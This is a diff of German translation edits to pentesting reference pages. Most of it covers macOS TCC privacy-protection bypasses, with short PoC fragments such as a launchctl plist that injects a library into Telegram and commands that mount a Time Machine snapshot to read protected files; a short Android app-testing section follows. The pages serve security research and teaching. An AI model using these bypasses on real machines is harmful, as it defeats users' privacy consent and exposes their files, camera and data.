-Dies ist die TCC-Eingabeaufforderung, um Automatisierungsprivilegien über Finder zu erhalten:
+Dies ist die TCC-Aufforderung, um Automatisierungsberechtigungen über Finder zu erhalten:
 
 <figure><img src="../../../../images/image (27).png" alt="" width="244"><figcaption></figcaption></figure>
 
 > [!CAUTION]
-> Beachten Sie, dass die **Automator**-App die TCC-Berechtigung **`kTCCServiceAppleEvents`** hat, sodass sie **jede App steuern** kann, wie z. B. Finder. Wenn Sie die Berechtigung haben, Automator zu steuern, könnten Sie auch den **Finder** mit einem Code wie dem untenstehenden steuern:
+> Beachten Sie, dass die **Automator**-App die TCC-Berechtigung **`kTCCServiceAppleEvents`** hat, sodass sie **jede App steuern kann**, wie z. B. Finder. Wenn Sie also die Berechtigung haben, Automator zu steuern, könnten Sie auch den **Finder** mit einem Code wie dem untenstehenden steuern:
 
 <details>
 
@@ -444,7 +444,7 @@ rm "$HOME/Desktop/file"
 ```
 ### Automation (SE) + Accessibility (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** zu FDA\*
 
-Automation auf **`System Events`** + Accessibility (**`kTCCServicePostEvent`**) ermöglicht das Senden von **Tasteneingaben an Prozesse**. Auf diese Weise könnten Sie den Finder missbrauchen, um die TCC.db des Benutzers zu ändern oder einer beliebigen App FDA zu gewähren (obwohl möglicherweise ein Passwort dafür abgefragt wird).
+Automatisierung auf **`System Events`** + Accessibility (**`kTCCServicePostEvent`**) ermöglicht das Senden von **Tasteneingaben an Prozesse**. Auf diese Weise könnten Sie den Finder missbrauchen, um die TCC.db des Benutzers zu ändern oder um FDA an eine beliebige App zu gewähren (obwohl möglicherweise ein Passwort dafür abgefragt wird).
 
 Beispiel für das Überschreiben der TCC.db des Benutzers durch den Finder:
 ```applescript
@@ -506,21 +506,21 @@ Wenn Sie **`kTCCServiceEndpointSecurityClient`** haben, haben Sie FDA. Ende.
 
 ### Benutzer TCC DB zu FDA
 
-Durch den Erhalt von **Schreibberechtigungen** über die **Benutzer TCC**-Datenbank können Sie sich **keine** **`FDA`**-Berechtigungen gewähren, nur derjenige, der in der Systemdatenbank lebt, kann das gewähren.
+Durch den Erhalt von **Schreibberechtigungen** über die **Benutzer TCC** Datenbank können Sie sich **keine** **`FDA`** Berechtigungen gewähren, nur derjenige, der in der Systemdatenbank lebt, kann das gewähren.
 
-Aber Sie können sich **`Automatisierungsrechte für den Finder`** geben und die vorherige Technik missbrauchen, um zu FDA\* zu eskalieren.
+Aber Sie können sich **`Automatisierungsrechte für Finder`** geben und die vorherige Technik missbrauchen, um zu FDA\* zu eskalieren.
 
 ### **FDA zu TCC Berechtigungen**
 
-**Vollzugriff auf die Festplatte** ist der TCC-Name **`kTCCServiceSystemPolicyAllFiles`**.
+**Vollzugriff auf die Festplatte** ist der TCC-Name **`kTCCServiceSystemPolicyAllFiles`**
 
 Ich denke nicht, dass dies ein echtes Privesc ist, aber nur für den Fall, dass Sie es nützlich finden: Wenn Sie ein Programm mit FDA kontrollieren, können Sie **die TCC-Datenbank der Benutzer ändern und sich jeden Zugriff gewähren**. Dies kann als Persistenztechnik nützlich sein, falls Sie Ihre FDA-Berechtigungen verlieren sollten.
 
-### **SIP-Bypass zu TCC-Bypass**
+### **SIP Bypass zu TCC Bypass**
 
-Die System-**TCC-Datenbank** ist durch **SIP** geschützt, weshalb nur Prozesse mit den **angegebenen Berechtigungen in der Lage sind, sie zu ändern**. Daher, wenn ein Angreifer einen **SIP-Bypass** über eine **Datei** findet (in der Lage, eine durch SIP eingeschränkte Datei zu ändern), kann er:
+Die **TCC-Datenbank** des Systems ist durch **SIP** geschützt, weshalb nur Prozesse mit den **angegebenen Berechtigungen in der Lage sind, sie zu ändern**. Daher, wenn ein Angreifer einen **SIP-Bypass** über eine **Datei** findet (in der Lage, eine durch SIP eingeschränkte Datei zu ändern), wird er in der Lage sein zu:
 
-- **Den Schutz** einer TCC-Datenbank entfernen und sich alle TCC-Berechtigungen gewähren. Er könnte beispielsweise eine dieser Dateien missbrauchen:
+- **Den Schutz** einer TCC-Datenbank zu **entfernen** und sich alle TCC-Berechtigungen zu gewähren. Er könnte beispielsweise jede dieser Dateien missbrauchen:
 - Die TCC-Systemdatenbank
 - REG.db
 - MDMOverrides.plist

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md

@@ -16,18 +16,18 @@ ls: Desktop: Operation not permitted
 username@hostname ~ % cat Desktop/lalala
 asd
 ```
-Die **erweiterte Attribut `com.apple.macl`** wird der neuen **Datei** hinzugefügt, um der **erstellenden App** den Zugriff auf das Lesen zu ermöglichen.
+Die **erweiterte Attribut `com.apple.macl`** wird der neuen **Datei** hinzugefügt, um der **erstellenden App** den Zugriff zum Lesen zu gewähren.
 
 ### TCC ClickJacking
 
-Es ist möglich, ein **Fenster über die TCC-Aufforderung** zu legen, um den Benutzer dazu zu bringen, es **zu akzeptieren**, ohne es zu bemerken. Sie finden einen PoC in [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
+Es ist möglich, ein **Fenster über die TCC-Aufforderung** zu legen, um den Benutzer dazu zu bringen, es **ohne Notice** zu **akzeptieren**. Sie können einen PoC in [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
 
 <figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
 
 ### TCC-Anfrage mit beliebigem Namen
 
-Angreifer können **Apps mit beliebigen Namen** (z. B. Finder, Google Chrome...) in der **`Info.plist`** erstellen und den Zugriff auf einen TCC-geschützten Ort anfordern. Der Benutzer wird denken, dass die legitime Anwendung diejenige ist, die diesen Zugriff anfordert.\
+Angreifer können **Apps mit beliebigem Namen** (z.B. Finder, Google Chrome...) in der **`Info.plist`** erstellen und den Zugriff auf einen TCC-geschützten Ort anfordern. Der Benutzer wird denken, dass die legitime Anwendung diejenige ist, die diesen Zugriff anfordert.\
-Darüber hinaus ist es möglich, die legitime App aus dem Dock zu entfernen und die gefälschte dort zu platzieren, sodass, wenn der Benutzer auf die gefälschte klickt (die dasselbe Symbol verwenden kann), sie die legitime aufrufen, um TCC-Berechtigungen zu verlangen und Malware auszuführen, wodurch der Benutzer glaubt, die legitime App habe den Zugriff angefordert.
+Darüber hinaus ist es möglich, die legitime App aus dem Dock zu **entfernen und die gefälschte darauf zu setzen**, sodass, wenn der Benutzer auf die gefälschte klickt (die dasselbe Symbol verwenden kann), sie die legitime aufrufen, um TCC-Berechtigungen zu beantragen und Malware auszuführen, wodurch der Benutzer glaubt, die legitime App habe den Zugriff angefordert.
 
 <figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
 
@@ -43,7 +43,7 @@ Standardmäßig hatte der Zugriff über **SSH "Vollzugriff auf die Festplatte"**
 
 ![](<../../../../../images/image (1077).png>)
 
-Hier finden Sie Beispiele dafür, wie einige **Malware in der Lage war, diesen Schutz zu umgehen**:
+Hier finden Sie Beispiele, wie einige **Malware in der Lage war, diesen Schutz zu umgehen**:
 
 - [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
 
@@ -54,7 +54,7 @@ Hier finden Sie Beispiele dafür, wie einige **Malware in der Lage war, diesen S
 
 Das Attribut **`com.apple.macl`** wird Dateien zugewiesen, um einer **bestimmten Anwendung Berechtigungen zum Lesen zu geben.** Dieses Attribut wird gesetzt, wenn eine Datei über eine App **gezogen und abgelegt** wird oder wenn ein Benutzer eine Datei **doppelklickt**, um sie mit der **Standardanwendung** zu öffnen.
 
-Daher könnte ein Benutzer eine **bösartige App registrieren**, um alle Erweiterungen zu handhaben und Launch Services aufzurufen, um **jede Datei zu öffnen** (so erhält die bösartige Datei Zugriff auf das Lesen).
+Daher könnte ein Benutzer eine **bösartige App registrieren**, um alle Erweiterungen zu handhaben und Launch Services aufzurufen, um **jede Datei zu öffnen** (so erhält die bösartige Datei Zugriff, um sie zu lesen).
 
 ### iCloud
 
@@ -114,8 +114,8 @@ do shell script "rm " & POSIX path of (copyFile as alias)
 
 Der Benutzerraum **tccd-Daemon** verwendet die **`HOME`** **Umgebungsvariable**, um auf die TCC-Benutzerdatenbank zuzugreifen: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
 
-Laut [diesem Stack Exchange-Beitrag](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) und da der TCC-Daemon über `launchd` im aktuellen Benutzerbereich ausgeführt wird, ist es möglich, **alle Umgebungsvariablen** zu **steuern**, die an ihn übergeben werden.\
+Laut [diesem Stack Exchange-Beitrag](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) und da der TCC-Daemon über `launchd` im aktuellen Benutzerbereich ausgeführt wird, ist es möglich, **alle Umgebungsvariablen** zu **steuern**, die ihm übergeben werden.\
-Daher könnte ein **Angreifer die `$HOME`-Umgebungsvariable** in **`launchctl`** so einstellen, dass sie auf ein **kontrolliertes** **Verzeichnis** zeigt, den **TCC**-Daemon **neustarten** und dann die **TCC-Datenbank direkt ändern**, um sich **alle verfügbaren TCC-Berechtigungen** zu geben, ohne jemals den Endbenutzer zu fragen.\
+Daher könnte ein **Angreifer die `$HOME`-Umgebungsvariable** in **`launchctl`** so setzen, dass sie auf ein **kontrolliertes** **Verzeichnis** zeigt, den **TCC**-Daemon **neustarten** und dann die **TCC-Datenbank direkt ändern**, um sich **alle verfügbaren TCC-Berechtigungen** zu geben, ohne jemals den Endbenutzer aufzufordern.\
 PoC:
 ```bash
 # reset database just in case (no cheating!)
@@ -157,7 +157,7 @@ Es war möglich, das Quarantäneattribut zu "Library" hinzuzufügen, den **`com.
 
 ### CVE-2023-38571 - Musik & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
 
-**`Music`** hat eine interessante Funktion: Wenn es läuft, wird es die Dateien, die in **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** abgelegt werden, in die "Medienbibliothek" des Benutzers **importieren**. Darüber hinaus ruft es etwas auf wie: **`rename(a, b);`**, wobei `a` und `b` sind:
+**`Music`** hat eine interessante Funktion: Wenn es läuft, wird es die Dateien, die in **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** abgelegt werden, in die "Medienbibliothek" des Benutzers **importieren**. Darüber hinaus ruft es etwas auf wie: **`rename(a, b);`** wobei `a` und `b` sind:
 
 - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
 - `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
@@ -166,7 +166,7 @@ Dieses **`rename(a, b);`** Verhalten ist anfällig für eine **Race Condition**,
 
 ### SQLITE_SQLLOG_DIR - CVE-2023-32422
 
-Wenn **`SQLITE_SQLLOG_DIR="path/folder"`** bedeutet das im Grunde, dass **jede geöffnete DB in diesen Pfad kopiert wird**. In diesem CVE wurde diese Kontrolle missbraucht, um **in eine SQLite-Datenbank zu schreiben**, die von einem Prozess mit FDA die TCC-Datenbank **geöffnet** wird, und dann **`SQLITE_SQLLOG_DIR`** mit einem **Symlink im Dateinamen** zu missbrauchen, sodass, wenn diese Datenbank **geöffnet** wird, die Benutzer-**TCC.db überschrieben** wird mit der geöffneten.\
+Wenn **`SQLITE_SQLLOG_DIR="path/folder"`** gesetzt ist, bedeutet das im Grunde, dass **jede geöffnete DB in diesen Pfad kopiert wird**. In diesem CVE wurde diese Kontrolle missbraucht, um **in eine SQLite-Datenbank zu schreiben**, die von einem Prozess mit FDA die TCC-Datenbank **geöffnet** wird, und dann **`SQLITE_SQLLOG_DIR`** mit einem **Symlink im Dateinamen** zu missbrauchen, sodass, wenn diese Datenbank **geöffnet** wird, die Benutzer-**TCC.db** mit der geöffneten überschrieben wird.\
 **Mehr Infos** [**im Bericht**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **und** [**im Vortrag**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
 
 ### **SQLITE_AUTO_TRACE**
@@ -185,7 +185,7 @@ Diese **Umgebungsvariable wird vom `Metal`-Framework verwendet**, das eine Abhä
 Setzen Sie Folgendes: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Wenn `path` ein gültiges Verzeichnis ist, wird der Fehler ausgelöst und wir können `fs_usage` verwenden, um zu sehen, was im Programm vor sich geht:
 
 - Eine Datei wird `open()`ed, genannt `path/.dat.nosyncXXXX.XXXXXX` (X ist zufällig)
-- Eine oder mehrere `write()`s werden den Inhalt in die Datei schreiben (wir kontrollieren dies nicht)
+- Eine oder mehrere `write()`s schreiben den Inhalt in die Datei (wir kontrollieren dies nicht)
 - `path/.dat.nosyncXXXX.XXXXXX` wird `renamed()` zu `path/name`
 
 Es handelt sich um einen temporären Dateischreibvorgang, gefolgt von einem **`rename(old, new)`**, **das nicht sicher ist.**
@@ -193,9 +193,9 @@ Es handelt sich um einen temporären Dateischreibvorgang, gefolgt von einem **`r
 Es ist nicht sicher, weil es **die alten und neuen Pfade separat auflösen muss**, was einige Zeit in Anspruch nehmen kann und anfällig für einen Race Condition sein kann. Für weitere Informationen können Sie die `xnu`-Funktion `renameat_internal()` überprüfen.
 
 > [!CAUTION]
-> Wenn ein privilegierter Prozess von einem Ordner umbenennt, den Sie kontrollieren, könnten Sie einen RCE gewinnen und ihn dazu bringen, auf eine andere Datei zuzugreifen oder, wie in diesem CVE, die Datei zu öffnen, die die privilegierte App erstellt hat, und einen FD zu speichern.
+> Grundsätzlich, wenn ein privilegierter Prozess von einem Ordner umbenennt, den Sie kontrollieren, könnten Sie einen RCE gewinnen und ihn dazu bringen, auf eine andere Datei zuzugreifen oder, wie in diesem CVE, die Datei zu öffnen, die die privilegierte App erstellt hat und einen FD zu speichern.
 >
-> Wenn das Umbenennen auf einen Ordner zugreift, den Sie kontrollieren, während Sie die Quelldatei geändert haben oder einen FD dafür haben, ändern Sie die Zieldatei (oder den Ordner), um auf einen Symlink zu zeigen, sodass Sie jederzeit schreiben können.
+> Wenn das Umbenennen auf einen Ordner zugreift, den Sie kontrollieren, während Sie die Quelldatei geändert haben oder einen FD dafür haben, ändern Sie die Zieldatei (oder den Ordner), um auf ein Symlink zu zeigen, sodass Sie jederzeit schreiben können.
 
 Das war der Angriff im CVE: Um beispielsweise die `TCC.db` des Benutzers zu überschreiben, können wir:
 
@@ -218,7 +218,7 @@ Weitere Informationen unter [https://gergelykalman.com/lateralus-CVE-2023-32407-
 
 ### Apple Remote Desktop
 
-Als Root könnten Sie diesen Dienst aktivieren und der **ARD-Agent hätte vollen Festplattzugriff**, der dann von einem Benutzer missbraucht werden könnte, um eine neue **TCC-Benutzerdatenbank** zu kopieren.
+Als Root könnten Sie diesen Dienst aktivieren und der **ARD-Agent hätte vollen Festplattzugriff**, der dann von einem Benutzer missbraucht werden könnte, um eine neue **TCC-Benutzerdatenbank** zu erstellen.
 
 ## Durch **NFSHomeDirectory**
 
@@ -238,9 +238,9 @@ Der **erste POC** verwendet [**dsexport**](https://www.unix.com/man-page/osx/1/d
 
 1. Holen Sie sich einen _csreq_-Blob für die Ziel-App.
 2. Platzieren Sie eine gefälschte _TCC.db_-Datei mit erforderlichem Zugriff und dem _csreq_-Blob.
-3. Exportieren Sie den Verzeichnisdiensteintrag des Benutzers mit [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
+3. Exportieren Sie den Directory Services-Eintrag des Benutzers mit [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
-4. Ändern Sie den Verzeichnisdiensteintrag, um das Home-Verzeichnis des Benutzers zu ändern.
+4. Ändern Sie den Directory Services-Eintrag, um das Home-Verzeichnis des Benutzers zu ändern.
-5. Importieren Sie den geänderten Verzeichnisdiensteintrag mit [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
+5. Importieren Sie den geänderten Directory Services-Eintrag mit [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
 6. Stoppen Sie den _tccd_ des Benutzers und starten Sie den Prozess neu.
 
 Der zweite POC verwendete **`/usr/libexec/configd`**, das `com.apple.private.tcc.allow` mit dem Wert `kTCCServiceSystemPolicySysAdminFiles` hatte.\
@@ -258,13 +258,13 @@ Es gibt verschiedene Techniken, um Code in einen Prozess zu injizieren und desse
 {{#endref}}
 
 Darüber hinaus ist die häufigste Prozessinjektion, um TCC zu umgehen, über **Plugins (Load Library)**.\
-Plugins sind zusätzlicher Code, der normalerweise in Form von Bibliotheken oder plist vorliegt, die von der Hauptanwendung **geladen werden** und unter ihrem Kontext ausgeführt werden. Wenn die Hauptanwendung also Zugriff auf TCC-eingeschränkte Dateien hatte (durch gewährte Berechtigungen oder Berechtigungen), hat der **benutzerdefinierte Code ebenfalls Zugriff**.
+Plugins sind zusätzlicher Code, der normalerweise in Form von Bibliotheken oder plist vorliegt, die vom **Hauptanwendungsprogramm geladen** werden und unter dessen Kontext ausgeführt werden. Wenn die Hauptanwendung also Zugriff auf TCC-eingeschränkte Dateien hatte (durch gewährte Berechtigungen oder Berechtigungen), hat der **benutzerdefinierte Code ebenfalls Zugriff**.
 
 ### CVE-2020-27937 - Directory Utility
 
 Die Anwendung `/System/Library/CoreServices/Applications/Directory Utility.app` hatte die Berechtigung **`kTCCServiceSystemPolicySysAdminFiles`**, lud Plugins mit der **`.daplug`**-Erweiterung und **hatte nicht die gehärtete** Laufzeit.
 
-Um diesen CVE waffenfähig zu machen, wird das **`NFSHomeDirectory`** **geändert** (unter Ausnutzung der vorherigen Berechtigung), um die TCC-Datenbank des Benutzers zu übernehmen und TCC zu umgehen.
+Um diesen CVE waffenfähig zu machen, wird das **`NFSHomeDirectory`** **geändert** (unter Ausnutzung der vorherigen Berechtigung), um die TCC-Datenbank der Benutzer zu übernehmen und TCC zu umgehen.
 
 Für weitere Informationen siehe den [**originalen Bericht**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
 
@@ -303,7 +303,7 @@ Für weitere Informationen siehe den [**originalen Bericht**](https://wojciechre
 
 ### Device Abstraction Layer (DAL) Plug-Ins
 
-Systemanwendungen, die den Kamerastream über Core Media I/O öffnen (Apps mit **`kTCCServiceCamera`**), laden **im Prozess diese Plugins**, die sich in `/Library/CoreMediaIO/Plug-Ins/DAL` befinden (nicht SIP-beschränkt).
+Systemanwendungen, die den Kamerastream über Core Media I/O öffnen (Apps mit **`kTCCServiceCamera`**), laden **in diesem Prozess diese Plugins**, die sich in `/Library/CoreMediaIO/Plug-Ins/DAL` befinden (nicht SIP-beschränkt).
 
 Es reicht aus, dort eine Bibliothek mit dem gemeinsamen **Konstruktor** zu speichern, um **Code zu injizieren**.
 
@@ -345,9 +345,9 @@ Die Binärdatei `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` hatte
 
 ### CVE-2023-26818 - Telegram
 
-Telegram hatte die Berechtigungen **`com.apple.security.cs.allow-dyld-environment-variables`** und **`com.apple.security.cs.disable-library-validation`**, sodass es möglich war, dies auszunutzen, um **Zugriff auf seine Berechtigungen** zu erhalten, wie z.B. das Aufzeichnen mit der Kamera. Sie können [**die Payload im Bericht finden**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
+Telegram hatte die Berechtigungen **`com.apple.security.cs.allow-dyld-environment-variables`** und **`com.apple.security.cs.disable-library-validation`**, sodass es möglich war, dies auszunutzen, um **Zugriff auf seine Berechtigungen** zu erhalten, wie z.B. das Aufzeichnen mit der Kamera. Sie können [**die Payload im Writeup finden**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
 
-Beachten Sie, wie die Umgebungsvariable verwendet wird, um eine Bibliothek zu laden; eine **benutzerdefinierte plist** wurde erstellt, um diese Bibliothek einzuschleusen, und **`launchctl`** wurde verwendet, um sie zu starten:
+Beachten Sie, wie die Umgebungsvariable verwendet wird, um eine Bibliothek zu laden. Eine **benutzerdefinierte plist** wurde erstellt, um diese Bibliothek einzuschleusen, und **`launchctl`** wurde verwendet, um sie zu starten:
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@@ -379,7 +379,7 @@ launchctl load com.telegram.launcher.plist
 ```
 ## Durch offene Aufrufe
 
-Es ist möglich, **`open`** sogar im Sandkasten aufzurufen.
+Es ist möglich, **`open`** sogar im Sandbox-Modus aufzurufen.
 
 ### Terminal-Skripte
 
@@ -419,7 +419,7 @@ exploit_location]; task.standardOutput = pipe;
 ### CVE-2020-9771 - mount_apfs TCC-Bypass und Privilegieneskalation
 
 **Jeder Benutzer** (auch unprivilegierte) kann einen Time Machine-Snapshot erstellen und einbinden und **auf ALLE Dateien** dieses Snapshots zugreifen.\
-Der **einzige privilegierte** Zugriff, der benötigt wird, ist für die verwendete Anwendung (wie `Terminal`), um **Vollzugriff auf die Festplatte** (FDA) zu haben (`kTCCServiceSystemPolicyAllfiles`), was von einem Administrator gewährt werden muss.
+Die **einzige Berechtigung**, die benötigt wird, ist, dass die verwendete Anwendung (wie `Terminal`) **Vollzugriff auf das Laufwerk** (FDA) (`kTCCServiceSystemPolicyAllfiles`) haben muss, was von einem Administrator gewährt werden muss.
 ```bash
 # Create snapshot
 tmutil localsnapshot
@@ -441,7 +441,7 @@ ls /tmp/snap/Users/admin_user # This will work
 ```
 Eine detailliertere Erklärung kann [**im Originalbericht gefunden werden**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
 
-### CVE-2021-1784 & CVE-2021-30808 - TCC-Datei über Mounten
+### CVE-2021-1784 & CVE-2021-30808 - Über TCC-Datei mounten
 
 Selbst wenn die TCC DB-Datei geschützt ist, war es möglich, **ein neues TCC.db-Datei über das Verzeichnis zu mounten**:
 ```bash
@@ -485,6 +485,7 @@ Der Ordner **`/var/db/locationd/` war nicht vor DMG-Mounting geschützt**, sodas
 
 ## Durch Startup-Apps
 
+
 {{#ref}}
 ../../../../macos-auto-start-locations.md
 {{#endref}}
@@ -510,6 +511,6 @@ Eine andere Möglichkeit, die [**CoreGraphics-Ereignisse**](https://objectivebyt
 - [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
 - [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
 - [**20+ Möglichkeiten, Ihre macOS-Datenschutzmechanismen zu umgehen**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
-- [**Knockout-Sieg gegen TCC - 20+ NEUE Möglichkeiten, Ihre macOS-Datenschutzmechanismen zu umgehen**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
+- [**Knockout-Sieg gegen TCC - 20+ NEUE Möglichkeiten, Ihre MacOS-Datenschutzmechanismen zu umgehen**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
 
 {{#include ../../../../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/README.md

@@ -4,7 +4,7 @@
 
 ## Grundlagen der Android-Anwendungen
 
-Es wird dringend empfohlen, diese Seite zu lesen, um die **wichtigsten Teile in Bezug auf die Sicherheit von Android und die gefährlichsten Komponenten in einer Android-Anwendung** zu kennen:
+Es wird dringend empfohlen, diese Seite zu lesen, um die **wichtigsten Teile im Zusammenhang mit der Android-Sicherheit und die gefährlichsten Komponenten in einer Android-Anwendung** zu kennen:
 
 
 {{#ref}}
@@ -13,14 +13,14 @@ android-applications-basics.md
 
 ## ADB (Android Debug Bridge)
 
-Dies ist das Hauptwerkzeug, das Sie benötigen, um eine Verbindung zu einem Android-Gerät (emuliert oder physisch) herzustellen.\
+Dies ist das Hauptwerkzeug, das Sie benötigen, um sich mit einem Android-Gerät (emuliert oder physisch) zu verbinden.\
 **ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Netzwerk** von einem Computer aus. Dieses Dienstprogramm ermöglicht das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Protokollen und andere Funktionen.
 
 Werfen Sie einen Blick auf die folgende Liste von [**ADB-Befehlen**](adb-commands.md), um zu lernen, wie man adb verwendet.
 
 ## Smali
 
-Manchmal ist es interessant, den **Anwendungscode zu ändern**, um auf **versteckte Informationen** (vielleicht gut obfuskierte Passwörter oder Flags) zuzugreifen. Dann könnte es interessant sein, die apk zu dekompilieren, den Code zu ändern und ihn neu zu kompilieren.\
+Manchmal ist es interessant, den **Anwendungscode zu modifizieren**, um auf **versteckte Informationen** (vielleicht gut obfuskierte Passwörter oder Flags) zuzugreifen. Dann könnte es interessant sein, die apk zu dekompilieren, den Code zu ändern und ihn neu zu kompilieren.\
 [**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, Smali-Code ändert und die APK** mit der neuen Funktionalität **neu kompiliert**](smali-changes.md). Dies könnte als **Alternative für mehrere Tests während der dynamischen Analyse** sehr nützlich sein, die präsentiert werden. Denken Sie daran, **diese Möglichkeit immer im Hinterkopf zu behalten**.
 
 ## Andere interessante Tricks
@@ -66,24 +66,24 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 Zunächst sollten Sie **einen Blick auf den Java-Code** werfen, indem Sie einen Decompiler verwenden.\
 Bitte, [**lesen Sie hier, um Informationen über verschiedene verfügbare Decompiler zu finden**](apk-decompilers.md).
 
-### Auf der Suche nach interessanten Informationen
+### Suche nach interessanten Informationen
 
 Durch einen Blick auf die **Strings** der APK können Sie nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API**-Schlüsseln, **Verschlüsselung**, **Bluetooth UUIDs**, **Tokens** und allem Interessanten suchen... suchen Sie sogar nach Codeausführungs-**Backdoors** oder Authentifizierungs-Backdoors (hardcodierte Admin-Anmeldeinformationen für die App).
 
 **Firebase**
 
-Achten Sie besonders auf **Firebase-URLs** und überprüfen Sie, ob sie schlecht konfiguriert sind. [Weitere Informationen darüber, was Firebase ist und wie man es ausnutzen kann, finden Sie hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
+Achten Sie besonders auf **Firebase-URLs** und überprüfen Sie, ob sie schlecht konfiguriert sind. [Weitere Informationen darüber, was Firebase ist und wie man es ausnutzt, finden Sie hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
 
 ### Grundlegendes Verständnis der Anwendung - Manifest.xml, strings.xml
 
-Die **Untersuchung der _Manifest.xml_ und **_strings.xml_**-Dateien einer Anwendung kann potenzielle Sicherheitsanfälligkeiten aufdecken**. Diese Dateien können mit Decompilern oder durch Umbenennen der APK-Dateierweiterung in .zip und anschließendes Entpacken darauf zugegriffen werden.
+Die **Untersuchung der _Manifest.xml_ und _strings.xml_**-Dateien einer Anwendung kann potenzielle Sicherheitsanfälligkeiten aufdecken. Diese Dateien können mit Decompilern oder durch Umbenennen der APK-Dateierweiterung in .zip und anschließendes Entpacken darauf zugegriffen werden.
 
 **Schwachstellen**, die aus der **Manifest.xml** identifiziert wurden, umfassen:
 
 - **Debuggable Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzt, verweisen Sie auf ein Tutorial zum Finden und Ausnutzen von debuggable Anwendungen auf einem Gerät.
 - **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte ausdrücklich für Anwendungen, die mit sensiblen Informationen umgehen, festgelegt werden, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist.
-- **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikat-Pins und HTTP-Verkehrseinstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains.
+- **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikatspinning und HTTP-Verkehrseinstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains.
-- **Exportierte Aktivitäten und Dienste**: Die Identifizierung exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzen kann.
